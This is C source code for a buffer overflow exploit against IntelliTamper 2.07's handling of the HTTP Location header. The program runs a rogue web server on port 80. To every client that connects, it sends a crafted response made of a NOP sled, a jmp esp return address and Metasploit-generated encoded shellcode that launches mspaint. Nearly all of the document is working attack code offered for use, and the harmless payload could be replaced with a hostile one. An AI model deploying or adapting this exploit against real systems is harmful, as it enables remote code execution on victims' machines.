`/** ** ** IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit. ** ** Based on exploit by Koshi (written in Perl). This one should be more ** stable. Just for fun and to learn more about win32 exploitation. ** ** by Wojciech Pawlikowski (wojtekp@gmail.com) **/ #include #include #include #include #include #include #include #include #include #define BUFSIZE 1550 #define NOP 0x90 #define RETADDR 0x7c941EED // jmp esp ntdll.dll /* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */ unsigned char shellcode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" "\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69" "\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e" "\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45" "\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34" "\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e" "\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a" "\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b" "\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36" "\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77" "\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a" "\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49" "\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37" "\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f" "\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63" "\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69" "\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33" "\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30" "\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42"; int main(void) { struct sockaddr_in serv_sin, cli_sin; int i, sockfd, cli_sock, sock_opt = 1, sin_len; char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE + 100] = { 0 }; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sockfd < 0) { perror("socket()"); exit(-1); } serv_sin.sin_family = AF_INET; serv_sin.sin_port = htons(80); serv_sin.sin_addr.s_addr = INADDR_ANY; if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0) { perror("setsockopt()"); close(sockfd); exit(-1); } if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0) { perror("bind()"); close(sockfd); exit(-1); } listen(sockfd, 1); sin_len = sizeof(struct sockaddr); printf("[*] Waiting for a connection...\n"); while (1) { cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len); if (cli_sock < 0) { perror("accept()"); exit(-1); } printf("[+] Connection from %s:%d\n", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port)); read(cli_sock, buf, sizeof(buf) - 1); overflow = (char *)malloc(BUFSIZE + 1); for (i = 0; i <= 1540; i += 4) *(long *)&overflow[i] = RETADDR; for (i = 0; i < 1536; i++) overflow[i] = NOP; memcpy(overflow + 550, shellcode, strlen(shellcode)); memcpy(overflow + i + 4, "\xe9\x14\xfc\xff\xff", 5); // jmp -1000 - jump to our buffer i = sprintf(req, "200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: "); memcpy(req + i, overflow, strlen(overflow)); memcpy(req + i + strlen(overflow), "\r\n\r\n", 4); write(cli_sock, req, strlen(req)); printf("[+] Exploit sent!\n"); close(cli_sock); } close(sockfd); } `

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